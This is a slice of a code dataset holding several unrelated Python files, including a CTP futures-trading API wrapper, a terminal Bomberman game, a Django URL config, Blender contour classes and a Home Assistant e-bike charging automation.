const QgsVectorLayer *vl, QWidget *parent=nullptr)\n#tt = qgis.gui.QgsSymbolV2SelectorWidget(renderer.symbol(),qgis.core.QgsStyleV2.defaultStyle() , vl )\n\n#tt.show()\n#tt.exec_()\nprint('ok')\n#tt.exec_()\n#vl.setRendererV2(tt.renderer())\n#vl.triggerRepaint()\n\n","sub_path":"EasyCustomLabeling/test/test_widget.py","file_name":"test_widget.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"321861454","text":"import random\nimport time\n\nfrom py_ctp.ctp_struct import *\nfrom py_ctp.eventEngine import *\nfrom py_ctp.eventType import *\nfrom py_ctp.trade import Trade\nimport threading\nimport logconfig as lc\nimport config as cf\nclass TdApi:\n \"\"\"\n Demo中的交易API封装\n 主动函数包括:\n login 登陆\n getInstrument 查询合约信息\n getAccount 查询账号资金\n getInvestor 查询投资者\n getPosition 查询持仓\n sendOrder 发单\n cancelOrder 撤单\n \"\"\"\n\n #----------------------------------------------------------------------\n def __init__(self, eventEngine):\n \"\"\"API对象的初始化函数\"\"\"\n # 事件引擎,所有数据都推送到其中,再由事件引擎进行分发\n self.__eventEngine = eventEngine\n self.t = Trade()\n\n # 请求编号,由api负责管理\n self.__reqid = 0\n\n # 报单编号,由api负责管理\n self.__orderref = random.randrange(start=1000,stop=9000,step=random.randint(10,100) )\n self.SessionID = None\n self.FrontID = None\n\n # 以下变量用于实现连接和重连后的自动登陆\n self.__userid = cf.userid\n self.__password = cf.password\n self.__brokerid = cf.brokerid\n\n api = self.t.CreateApi()\n spi = self.t.CreateSpi()\n self.t.RegisterSpi(spi)\n self.t.OnFrontConnected = self.onFrontConnected # 交易服务器登陆相应\n self.t.OnRspUserLogin = self.onRspUserLogin # 用户登陆\n self.t.OnErrRtnOrderInsert = self.onErrRtnOrderInsert\n self.t.OnRspUserLogout = self.OnRspUserLogout\n self.t.OnRtnInstrumentStatus = self.OnRtnInstrumentStatus\n self.t.OnFrontDisconnected = self.onFrontDisconnected\n self.t.OnRspSettlementInfoConfirm = self.onRspSettlementInfoConfirm # 结算单确认\n self.t.OnRspQryInstrument = self.onRspQryInstrument # 查询全部交易合约\n self.t.OnRspQryDepthMarketData = self.onRspQryDepthMarketData # tick截面数据\n self.t.OnRspQryInvestorPosition = self.onRspQryInvestorPosition#查询持仓\n self.t.OnRspQryTradingAccount = self.onRspQryTradingAccount#查询账户\n self.t.OnRtnOrder = self.onRtnOrder#报单\n self.t.OnRtnTrade = self.onRtnTrade#成交\n self.t.OnRspQryInstrumentMarginRate = self.OnRspQryInstrumentMarginRate #获取保证金率\n #——————错误事件\n self.t.OnRspOrderInsert = self.onRspOrderInsert\n self.t.OnRspOrderAction =self.onRspOrderAction\n self.t.OnRspError = self.onRspError\n\n self.t.RegCB()\n self.login_status = False #登录状态\n\n def login(self):\n if self.login_status == False:\n self.t.RegisterFront('tcp://180.168.146.187:10000')\n self.t.Init()\n def logout(self):\n if self.login_status == True:\n self.t.ReqUserLogout(self.__brokerid,self.__userid)\n def release(self):\n self.t.Release()\n self.t = None\n\n def put_log_event(self, log): # log事件注册\n event = Event(type_=EVENT_LOG)\n event.dict_['log'] = log\n self.__eventEngine.put(event)\n\n def onFrontConnected(self):\n \"\"\"服务器连接\"\"\"\n lc.loger.info(threading.current_thread())\n self.put_log_event('交易服务器连接成功')\n time.sleep(3)\n self.t.ReqUserLogin(BrokerID=self.__brokerid, UserID=self.__userid, Password=self.__password)\n\n def OnRtnInstrumentStatus(self, data):\n pass\n def onFrontDisconnected(self, n):\n \"\"\"服务器断开\"\"\"\n lc.loger.info(threading.current_thread())\n self.put_log_event('交易服务器连接断开')\n self.login_status = False\n time.sleep(3)\n def onRspUserLogin(self, data, error, n, last):\n \"\"\"登陆回报\"\"\"\n if error.__dict__['ErrorID'] == 0:\n self.Investor = data.__dict__['UserID']\n self.BrokerID = data.__dict__['BrokerID']\n self.FrontID = data.__dict__['FrontID']\n self.SessionID = data.__dict__['SessionID']\n self.__orderref = int(data.__dict__['MaxOrderRef'])\n lc.loger.info(data.__dict__)\n self.login_status = True\n log = data.__dict__['UserID'] + '交易服务器登陆成功'\n self.t.ReqSettlementInfoConfirm(self.BrokerID, self.Investor) # 对账单确认\n else:\n self.login_status = False\n log = '登陆回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(error.__dict__['ErrorMsg'])\n self.put_log_event(log)\n def OnRspUserLogout(self, data, error, n, last):\n \"\"\"登出回报\"\"\"\n lc.loger.info(threading.current_thread())\n if error.__dict__['ErrorID'] == 0:\n self.login_status = False\n log = '交易服务器登出成功'\n else:\n self.login_status = True\n log = '登出回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(error.__dict__['ErrorMsg'])\n self.put_log_event(log)\n\n\n def onRspSettlementInfoConfirm(self, data, error, n, last):\n \"\"\"确认结算信息回报\"\"\"\n log = '结算信息确认完成'\n self.put_log_event(log)\n time.sleep(1)\n self.getInstrument() # 查询合约资料\n #self.short('rb1801',4422,1)\n #self.sell('rb1801',4431,1)\n #self.getPosition()\n\n\n def onRspQryInstrument(self, data, error, n, last):\n \"\"\"\n 合约查询回报\n 由于该回报的推送速度极快,因此不适合全部存入队列中处理,\n 选择先储存在一个本地字典中,全部收集完毕后再推送到队列中\n (由于耗时过长目前使用其他进程读取)\n \"\"\"\n if error.__dict__['ErrorID'] == 0:\n event = Event(type_=EVENT_INSTRUMENT)\n event.dict_['data'] = data.__dict__\n event.dict_['last'] = last\n self.__eventEngine.put(event)\n if last == True:\n time.sleep(2)\n self.t.ReqQryDepthMarketData() # 查询合约截面数据\n else:\n log = '合约投资者回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(error.__dict__['ErrorMsg'])\n self.put_log_event(log)\n\n\n\n def onRspQryDepthMarketData(self, data, error, n, last):\n # 常规行情事件\n event = Event(type_=EVENT_MARKETDATA)\n event.dict_['data'] = data.__dict__\n event.dict_['last'] = last\n self.__eventEngine.put(event)\n\n\n def getInstrumentMarginRate(self,instrumentID):\n self.t.ReqQryInstrumentMarginRate(BrokerID=self.__brokerid,InvestorID=self.__userid,InstrumentID=instrumentID) # 查询合约保证金率\n\n def OnRspQryInstrumentMarginRate(self, data, error, n, last):\n # 合约保证金\n event = Event(type_=EVENT_INSTRUMENT_MAGIN_RATE)\n event.dict_['data'] = data.__dict__\n event.dict_['last'] = last\n self.__eventEngine.put(event)\n def onRspQryInvestorPosition(self, data, error, n, last):\n \"\"\"持仓查询回报\"\"\"\n if error.__dict__['ErrorID'] == 0:\n event = Event(type_=EVENT_POSITION)\n event.dict_['data'] = data.__dict__\n event.dict_['last'] = last\n self.__eventEngine.put(event)\n else:\n log = ('持仓查询回报,错误代码:' +str(error.__dict__['ErrorID']) + ', 错误信息:' +str(error.__dict__['ErrorMsg']))\n self.put_log_event(log)\n\n # ----------------------------------------------------------------------\n def onRspQryTradingAccount(self, data, error, n, last):\n \"\"\"资金账户查询回报\"\"\"\n if error.__dict__['ErrorID'] == 0:\n event = Event(type_=EVENT_ACCOUNT)\n event.dict_['data'] = data.__dict__\n self.__eventEngine.put(event)\n else:\n log = ('账户查询回报,错误代码:' +str(error.__dict__['ErrorID']) + ', 错误信息:' +str(error.__dict__['ErrorMsg']))\n self.put_log_event(log)\n\n def onRtnTrade(self, data):\n \"\"\"成交回报\"\"\"\n # 常规成交事件\n event1 = Event(type_=EVENT_TRADE)\n event1.dict_['data'] = data.__dict__\n self.__eventEngine.put(event1)\n\n def onRtnOrder(self, data):\n \"\"\"报单回报\"\"\"\n # 更新最大报单编号\n newref = data.__dict__['OrderRef']\n self.__orderref = max(self.__orderref, int(newref))\n # 常规报单事件\n event1 = Event(type_=EVENT_ORDER)\n event1.dict_['data'] = data.__dict__\n self.__eventEngine.put(event1)\n\n def onRspOrderInsert(self, data, error, n, last):\n \"\"\"发单错误(柜台)\"\"\"\n log = data.__dict__['InstrumentID'] + ' 发单错误回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(\n error.__dict__['ErrorMsg'])\n # self.put_log_event(log)\n lc.loger_order.info('onRspOrderInsert')\n lc.loger_error.info(log)\n lc.loger_order.info(data.__dict__)\n\n def onErrRtnOrderInsert(self, data, error):\n \"\"\"发单错误回报(交易所)\"\"\"\n log = data.__dict__['InstrumentID'] + '发单错误回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(\n error.__dict__['ErrorMsg'])\n # self.put_log_event(log)\n lc.loger_error.info('onErrRtnOrderInsert')\n lc.loger_error.info(log)\n lc.loger_error.info(data.__dict__)\n\n def onRspError(self, error, n, last):\n \"\"\"错误回报\"\"\"\n log = '交易错误回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(error.__dict__['ErrorMsg'])\n # self.put_log_event(log)\n lc.loger_error.info('onRspError')\n lc.loger_error.info(log)\n lc.loger_error.info(error.__dict__)\n # ----------------------------------------------------------------------\n def onRspOrderAction(self, data, error, n, last):\n \"\"\"撤单错误(柜台)\"\"\"\n log = '撤单错误回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(error.__dict__['ErrorMsg'])\n # self.put_log_event(log)\n lc.loger_error.info('onRspOrderAction')\n lc.loger_error.info(log)\n lc.loger_error.info(data.__dict__)\n # ----------------------------------------------------------------------\n def onErrRtnOrderAction(self, data, error):\n \"\"\"撤单错误回报(交易所)\"\"\"\n event = Event(type_=EVENT_LOG)\n log = data['合约代码'] + ' 撤单错误回报,错误代码:' + str(error.__dict__['ErrorID']) + ', 错误信息:' + str(\n error.__dict__['ErrorMsg'])\n event.dict_['log'] = log\n # self.__eventEngine.put(event)\n lc.loger_error.info('onErrRtnOrderAction')\n lc.loger_error.info(log)\n lc.loger_error.info(data.__dict__)\n\n def getInstrument(self):\n \"\"\"查询合约\"\"\"\n self.__reqid = self.__reqid + 1\n self.t.ReqQryInstrument()\n def getAccount(self):\n \"\"\"查询账户\"\"\"\n self.__reqid = self.__reqid + 1\n self.t.ReqQryTradingAccount(self.__brokerid , self.__userid )\n # ----------------------------------------------------------------------\n def getPosition(self):\n \"\"\"查询持仓\"\"\"\n self.__reqid = self.__reqid + 1\n self.t.ReqQryInvestorPosition(self.__brokerid , self.__userid )\n\n def sendorder(self, instrumentid, price, vol, direction, offset):\n \"\"\"发单\"\"\"\n self.__reqid = self.__reqid + 1\n self.__orderref = self.__orderref + 1\n # 限价\n self.t.ReqOrderInsert(BrokerID=self.__brokerid,\n InvestorID=self.__userid,\n InstrumentID=instrumentid,\n OrderRef='{0:>12}'.format(self.__orderref),\n UserID=self.__userid,\n OrderPriceType=OrderPriceTypeType.LimitPrice,\n Direction=direction,\n CombOffsetFlag=offset,\n CombHedgeFlag=HedgeFlagType.Speculation.__char__(),\n LimitPrice=price,\n VolumeTotalOriginal=vol,\n TimeCondition=TimeConditionType.GFD,\n VolumeCondition=VolumeConditionType.AV,\n MinVolume=1,\n ForceCloseReason=ForceCloseReasonType.NotForceClose,\n ContingentCondition=ContingentConditionType.Immediately)\n return self.__orderref\n # 返回订单号,便于某些算法进行动态管理\n # OrderPriceType--LimitPrice 限价单\n # CombHedgeFlag--投机套保标记,默认投机单Speculation\n # TimeConditionType是一个有效期类型类型#当日有效--GFD\n # VolumeConditionType是一个成交量类型类型#任何数量--VolumeConditionType.AV\n # ContingentConditionType是一个触发条件类型,#立即ContingentConditionType.Immediately\n\n def buy(self, symbol, price, vol): # 买开多开\n direction = DirectionType.Buy\n offset = OffsetFlagType.Open.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n def sell(self, symbol, price, vol): # 多平\n direction = DirectionType.Sell\n offset = OffsetFlagType.Close.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n def selltoday(self, symbol, price, vol): # 平今多\n direction = DirectionType.Sell\n offset = OffsetFlagType.CloseToday.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n def short(self, symbol, price, vol): # 卖开空开\n direction = DirectionType.Sell\n offset = OffsetFlagType.Open.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n def cover(self, symbol, price, vol): # 空平\n direction = DirectionType.Buy\n offset = OffsetFlagType.Close.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n def covertoday(self, symbol, price, vol): # 平今空\n direction = DirectionType.Buy\n offset = OffsetFlagType.CloseToday.__char__()\n self.sendorder(symbol, price, vol, direction, offset)\n\n # ----------------------------------------------------------------------\n # tmp[\"合约代码\"] = var[\"InstrumentID\"]\n # tmp[\"交易所代码\"] = var[\"ExchangeID\"]\n # tmp[\"报单引用\"] = var[\"OrderRef\"]\n # tmp[\"买卖方向\"] = var[\"Direction\"]\n # tmp[\"组合开平标志\"] = var[\"CombOffsetFlag\"]\n # tmp[\"价格\"] = var[\"LimitPrice\"]\n # tmp[\"数量\"] = var[\"VolumeTotalOriginal\"]\n # tmp[\"请求编号\"] = var[\"RequestID\"]\n # tmp[\"本地报单编号\"] = var[\"OrderLocalID\"]\n # tmp[\"报单编号\"] = var[\"OrderSysID\"]\n # tmp[\"今成交数量\"] = var[\"VolumeTraded\"]\n # tmp[\"剩余数量\"] = var[\"VolumeTotal\"]\n # tmp[\"报单日期\"] = var[\"InsertDate\"]\n # tmp[\"委托时间\"] = var[\"InsertTime\"]\n # tmp[\"前置编号\"] = var[\"FrontID\"]\n # tmp[\"会话编号\"] = var[\"SessionID\"]\n # tmp[\"状态信息\"] = var[\"StatusMsg\"]\n # tmp[\"序号\"] = var[\"SequenceNo\"]\n def cancelOrder(self, order):\n \"\"\"撤单\"\"\"\n # lc.loger.info(order)\n self.__reqid = self.__reqid + 1\n self.t.ReqOrderAction(BrokerID=self.__brokerid,\n InvestorID=self.__userid,\n OrderRef=order['OrderLocalID'],\n FrontID=int(order['FrontID']),\n SessionID=int(order['SessionID']),\n OrderSysID=order['OrderSysID'],\n ActionFlag=ActionFlagType.Delete,\n ExchangeID=order[\"ExchangeID\"],\n InstrumentID=order['InstrumentID'])\n","sub_path":"td_api.py","file_name":"td_api.py","file_ext":"py","file_size_in_byte":16204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"648320727","text":"from board import *\nfrom wall import *\nfrom bricks import *\nfrom player import *\nfrom bomb import *\nfrom enemy import *\nimport sys, tty, termios,os\n\n \nos.system(\"clear\") \nmatrix=board()\nmatrix=matrix.getBoard()\nmatrix=wall(matrix)\nmatrix=matrix.make_wall()\nmatrix=bricks(matrix)\nmatrix=matrix.make_bricks()\nplayer_obj=player()\nmatrix=player_obj.display_pos(matrix)\nenemy_obj=enemy()\nmove_obj=enemy_obj.make_enemy(matrix)\nbomb_obj=bomb()\nlives=3\nscore=0\nfor i in range(38):\n\tfor j in range(76):\n\t\tprint(move_obj[i][j],end='')\n\tprint('')\nprint(\"LIVES=\"+str(lives))\nprint(\"SCORE=\"+str(score))\nbomb_plant = False\nbomb_x = 0\nbomb_y = 0\ncount = 0\nbomb_blast = False\ncount2 = 0\nflag = 0\nenemy_flag = 0\ngame_over = 0\na=[0,]\nwhile(True):\t\n\tx=player_obj.get_pos_x(move_obj)\n\ty=player_obj.get_pos_y(move_obj)\n\n\tfd = sys.stdin.fileno()\n\told_settings = termios.tcgetattr(fd)\n\ttry:\n\t\ttty.setraw(sys.stdin.fileno())\n\t\tch = sys.stdin.read(1)\n\tfinally:\n\t\ttermios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n\tif ch=='q':\n\t\tbreak\n\telif ch=='w':\n\t\tmatrix=player_obj.up(move_obj,x,y)\n\telif ch=='s':\n\t\tmatrix=player_obj.down(move_obj,x,y)\n\telif ch=='a':\n\t\tmatrix=player_obj.left(move_obj,x,y)\n\telif ch=='d':\n\t\tmatrix=player_obj.right(move_obj,x,y)\n\telif ch=='b':\n\t\tif(bomb_plant == False):\n\t\t\tbomb_x=x\n\t\t\tbomb_y=y\n\t\t\tmatrix=bomb_obj.plant(move_obj,x,y)\n\t\t\tbomb_plant=True\n\t\t\tcount=0\n\tif (bomb_plant == True):\n\t\tfor i in range(0,2):\n\t\t\tfor j in range(0,4):\n\t\t\t\tmatrix[bomb_x+i][bomb_y+j] = 'O'\n\t\tcount += 1\n\tmatrix,enemy_flag=enemy_obj.move_enemy(move_obj,a)\n\tif(count == 4):\n\t\tmatrix,a,score=bomb_obj.blast(move_obj,bomb_x,bomb_y,x,y,score)\n\t\tbomb_blast=True\n\t\tcount=0\n\tif(bomb_blast == True):\n\t\tcount2+=1\n\tos.system(\"clear\")\n\n\tif(count2 == 2):\n\t\tmatrix,flag=bomb_obj.restore(matrix,bomb_x,bomb_y)\n\t\tcount2=0\n\t\tbomb_blast=False\n\t\tbomb_plant=False\t\n\n\tif(flag == 1 or enemy_flag == 1 or player_obj.flag == 1):\n\t\tlives-=1\n\t\tfor i in range (2,4):\n\t\t\tfor j in range (4,8):\n\t\t\t\tmatrix[i][j]='\\u001b[0;36mB\\u001b[0m'\n\t\tfor i in range (4,6):\n\t\t\tfor j in range (4,8):\n\t\t\t\tmatrix[i][j]=' '\n\t\tfor i in range (2,4):\n\t\t\tfor j in range (8,12):\n\t\t\t\tmatrix[i][j]=' '\n\t\tbomb_obj.flag = 0\t\n\t\tflag = 0\n\t\tenemy_flag = 0\n\t\tenemy_obj.flag = 0\n\t\tbomb_plant = False\n\t\tcount = 0\n\t\tcount2 = 0\n\t\tplayer_obj.flag = 0\n\t\tfor i in range(2,37):\n\t\t\tfor j in range(4,73):\n\t\t\t\tif matrix[i][j] == 'O':\n\t\t\t\t\tmatrix[i][j] = ' '\n\t\tprint(\"LIFE LOST :(\")\n\t\tif lives == 0:\n\t\t\tgame_over = 1\n\tfor i in range(38):\n\t\tfor j in range(76):\n\t\t\tprint(matrix[i][j],end='')\n\t\tprint('')\n\tprint(\"LIVES=\" + str(lives))\n\tprint(\"SCORE=\" + str(score))\n\tif game_over == 1:\n\t\tprint(\"GAME OVER\")\n\t\tbreak\n\tif (enemy_obj.flag1 == 1 and enemy_obj.flag2 == 1 and enemy_obj.flag3 == 1):\n\t\tprint(\"YOU WON!\")\n\t\tbreak","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"381055097","text":"num=int(input())\nnumbers=input()\nnumbers=numbers.split()\nlist1=[]\nfor i in range(0,num):\n list1.append(int(numbers[i]))\nfor i in list1:\n str1=\"\"\n str1=str(i)+\" \"+str(list1.index(i))\n print(str1)\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90137934","text":"'''\nCreated on Apr 23, 2013\n\n@author: Patrick\n'''\n\n####class definitions####\n\nimport bpy\nimport math\nfrom mathutils import Vector\nfrom mathutils.geometry import intersect_point_line\nimport contour_utilities\n\nclass ContourControlPoint(object):\n \n def __init__(self, x, y, color = (1,0,0,1), size = 2, mouse_radius=10):\n self.x = x\n self.y = y\n self.world_position = Vector((0,0,0)) #to be updated later\n self.color = color\n self.size = size\n self.mouse_rad = mouse_radius\n \n def mouse_over(self,x,y):\n dist = (self.x -x)**2 + (self.y - y)**2\n print(dist < 100)\n if dist < 100:\n return True\n else:\n return False\n\n \nclass ContourCutLine(object): \n \n def __init__(self, x, y, view_dir):\n self.head = ContourControlPoint(x,y, color = (1,0,0,1))\n self.tail = ContourControlPoint(x,y, color = (0,1,0,1))\n self.view_dir = view_dir #this is imporatnt...no reason contours cant bend\n self.target = None\n self.depth = None #perhaps we need a depth value? \n \n def draw(self,context):\n \n #draw connecting line\n points = [(self.head.x,self.head.y),(self.tail.x,self.tail.y)]\n contour_utilities.draw_polyline_from_points(context, points, (0,.5,1,1), 1, \"GL_LINE_STIPPLE\")\n #draw head #draw tail\n contour_utilities.draw_points(context, points, (1,0,.2,1), 5)\n #draw contour points? later\n \n def active_element(self,context,x,y):\n active_head = self.head.mouse_over(x, y)\n active_tail = self.tail.mouse_over(x, y)\n \n mouse_loc = Vector((x,y,0))\n head_loc = Vector((self.head.x, self.head.y, 0))\n tail_loc = Vector((self.tail.x, self.tail.y, 0))\n intersect = intersect_point_line(mouse_loc, head_loc, tail_loc)\n \n dist = (intersect[0] - mouse_loc).length_squared\n bound = intersect[1]\n active_self = (dist < 100) and (bound < 1) and (bound > 0) #TODO: make this a sensitivity setting\n \n if active_head and active_tail and active_self: #they are all clustered together\n print('returning head but tail too')\n return self.head\n \n elif active_tail:\n print('returning tail')\n return self.tail\n \n elif active_head:\n print('returning head')\n return self.head\n \n elif active_self:\n print('returning line')\n return self\n \n else:\n print('returning None')\n return None\n#cut line, a user interactive 2d line which represents a plane in 3d splace\n #head (type conrol point)\n #tail (type control points)\n #target mesh\n #view_direction (crossed with line to make plane normal for slicing)\n \n #draw method\n \n #new control point project method\n \n #mouse hover line calc\n \n \n#retopo object, surface\n #colelction of cut lines\n #collection of countours to loft\n \n #n rings (crosses borrowed from looptools)\n #n follows (borrowed from looptools and or bsurfaces)\n \n #method contours from cutlines\n \n #method bridge contours","sub_path":"development/contour_tools/contour_classes.py","file_name":"contour_classes.py","file_ext":"py","file_size_in_byte":3223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"77045957","text":"\"\"\"dealmazing URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib.sitemaps.views import sitemap\nfrom django.views.generic import TemplateView\nfrom django.views.generic.base import RedirectView\nfrom .sitemaps import *\nfrom django.urls import path\nfrom django.contrib import admin\nfrom .views import *\nfrom django.conf import settings\nfrom deals.models import Deal\nfrom deals.views import *\n\nfrom django.conf.urls.static import static\n\napp_name = \"dealmazing\"\n\nsitemaps = {\n 'static': StaticViewSitemap,\n 'blog': BlogSitemap,\n 'blog-category': BlogCategorySitemap,\n 'deals': DealSitemap,\n 'deals-category': DealCategorySitemap,\n 'retailers': RetailerSitemap\n}\n\nurlpatterns = [\n url(r'^$', Home.as_view(), name=\"home\"),\n url(r'^oauth/', include('social_django.urls', namespace='social')),\n url(r'^admin/', admin.site.urls),\n url(r'^blog/', include(\"blog.urls\", namespace=\"blog\")),\n url(r'^accounts/', include(\"accounts.urls\", namespace=\"accounts\")),\n url(r'^about/', about, name=\"about\"),\n url(r'^contact/', contact, name=\"contact\"),\n url(r'^disclosure/', disclosure, name=\"disclosure\"),\n url(r'^terms/', terms, name=\"terms\"),\n url(r'^privacy/', privacy, name=\"privacy\"),\n url(r'^submit_deal/', submit_deal, name=\"submit_deal\"),\n url(r'^thanks/', thanks, name=\"thanks\"),\n url(r\"^deals/\", include(\"deals.urls\", namespace=\"deals\")),\n path('/', deal_by_detail, name='deal_detail'),\n path('deals/', deals_by_retailer, name='retailer'),\n path('category/', deals_by_category, name='category'),\n url(r\"^newsletter/\", include(\"newsletters.urls\", namespace=\"newsletter\")),\n url(r'^ckeditor/', include('ckeditor_uploader.urls')),\n url(r'^robots.txt$', TemplateView.as_view(template_name=\"robots.txt\", content_type=\"text/plain\"), name=\"robots_file\"),\n path('sitemap.xml', sitemap,\n {'sitemaps': sitemaps},\n name='django.contrib.sitemaps.views.sitemap'),\n path('', include('django.contrib.auth.urls')),\n] \n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns += [\n url(r'^__debug__/', include(debug_toolbar.urls)),\n ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"dealmazing/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"486764001","text":"# -*- coding: utf-8 -*-\nimport sys\nimport random\nimport os, errno\n\n### 檔案輸出橋接實做, 根據每支影片的每一個標籤輸出樣本, 可以根據不同樣本輸出至不同的位置\nclass DataSocket:\n\n def __init__(self, dataPointer):\n self.dataPointer = dataPointer\n\n def Run(self, socketPath):\n\n def ensure_dir(directory):\n try:\n os.makedirs(directory)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n # print (('===================== READY OUTPUT: ====================='))\n # print ((self.dataPointer.currentVideo))\n # print ((self.dataPointer.currentRow))\n outputDir = socketPath\n imageDir = '/'.join([outputDir, 'images'])\n xmlDir = '/'.join([outputDir, 'xml'])\n ensure_dir(outputDir)\n ensure_dir(imageDir)\n ensure_dir(xmlDir)\n self.dataPointer.SetImgPath(imageDir)\n self.dataPointer.SetXMLPath(xmlDir)\n self.dataPointer.Output()\n\n images = [f for f in os.listdir(imageDir) if os.path.isfile(os.path.join(imageDir, f))]\n imagesSize = len(images)\n trainImageSize = int(imagesSize * 0.8)\n secure_random = random.SystemRandom()\n testfile = '/'.join([outputDir, 'test.txt'])\n trainfile = '/'.join([outputDir, 'train.txt'])\n if os.path.isfile(testfile):\n os.remove(testfile)\n if os.path.isfile(trainfile):\n os.remove(trainfile)\n with open(testfile, \"a\") as fp:\n while len(images) != trainImageSize:\n image = secure_random.choice(images)\n images.remove(image)\n fp.write(image.split('.')[0] + ('\\n' if len(images) != trainImageSize else ''))\n with open(trainfile, \"a\") as fp:\n while len(images) > 0:\n image = images.pop()\n fp.write(image.split('.')[0] + ('\\n' if len(images) > 0 else ''))\n","sub_path":"DataOutput.py","file_name":"DataOutput.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"416266993","text":"from base import Base\r\nimport globals\r\nfrom globals import HouseModes, PEOPLE\r\nimport datetime\r\n\r\n\r\nclass ChargingStation(Base):\r\n\r\n def initialize(self) -> None:\r\n \"\"\"Initialize.\"\"\"\r\n super().initialize()\r\n\r\n self.plug = \"switch.bike_plug_switch\"\r\n self.power_sensor_idle = \"sensor.ebike_charger\"\r\n self.isa = PEOPLE['Isa']['device_tracker']\r\n self.bike = \"device_tracker.tile_bike\"\r\n\r\n self.reminder_handle = None\r\n self.start_quiet = globals.notification_mode[\"start_quiet_weekday\"]\r\n self.stop_quiet = globals.notification_mode[\"stop_quiet_weekday\"]\r\n\r\n\r\n self.listen_state(self.coming_home, self.bike, new = \"home\")\r\n self.listen_state(self.turn_off_charger, self.power_sensor_idle, new = \"True\")\r\n\r\n def coming_home(self, entity, attribute, new, old, kwargs):\r\n if(new != old):\r\n self.run_in(self.turn_on_charger, 5400) \r\n\r\n def turn_on_charger(self, kwargs):\r\n self.turn_on(self.plug)\r\n self.log(\"Ebike charger turned on\")\r\n reminder_start = self.datetime()\r\n if (self.reminder_handle is not None):\r\n return\r\n else:\r\n self.reminder_handle = self.run_every(self.check_charge, reminder_start, 1800)\r\n \r\n def check_charge(self, kwargs):\r\n self.log(\"Checking charge\")\r\n if (self.get_state(self.power_sensor_idle) == \"True\"):\r\n if (self.now_is_between(self.stop_quiet, self.start_quiet)):\r\n self.log(\"Reminding to charge ebike battery\")\r\n self.call_service(globals.notify_ios_isa, message = \"Charge ebike battery!\")\r\n else:\r\n self.log(\"Reminder canceled\")\r\n self.cancel_timer(self.reminder_handle)\r\n self.reminder_handle = None\r\n\r\n def turn_off_charger(self, entity, attribute, new, old, kwargs):\r\n if (new != old):\r\n self.log(\"Fully charged, turning off plug\")\r\n self.turn_off(self.plug)\r\n self.call_service(globals.notify_ios_isa, title = \"Ebike plug turned off\", message = \"Battery fully charged\")","sub_path":"appdaemon/apps/charging_station/charging_station.py","file_name":"charging_station.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"253356577","text":"from __future__ import print_function\n\n\ndef fraction(nr, dr):\n \n if nr%dr == 0:\n print(\" + \" + str(nr/dr), end = \" \")\n return \n \n if dr%nr == 0:\n print(\"+ 1/\" + str(dr/nr), end = \" \")\n return\n \n #if nr > dr:\n # print(\"1 + \", end = \" \")\n\n n = dr/nr + 1\n \n print(\" + 1/\" + str(n), end = \" \")\n \n fraction(n*nr-dr, dr*n)\n \n \n \n \n \nfraction(2, 12)\nprint(\"\")\nfraction(12, 2)\nprint(\"\")\nfraction(6, 14)\nprint(\"\")\nfraction(12, 13)\nprint(\"\")\nfraction(15, 13)\n","sub_path":"Chapter Greedy/egyptianFraction.py","file_name":"egyptianFraction.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"650512008","text":"# Copyright 2021 MosaicML. All Rights Reserved.\n\nfrom __future__ import annotations\n\nimport logging\nfrom dataclasses import asdict, dataclass\nfrom typing import Optional\n\nimport torch\nimport yahp as hp\n\nfrom composer.algorithms.algorithm_hparams import AlgorithmHparams\nfrom composer.core import Algorithm, Event, Logger, State, surgery\n\nlog = logging.getLogger(__name__)\n\n\n@dataclass\nclass SqueezeExciteHparams(AlgorithmHparams):\n \"\"\"See :class:`SqueezeExcite`\"\"\"\n\n latent_channels: float = hp.optional(\n doc='Dimensionality of hidden layer within the added MLP.',\n default=64,\n )\n 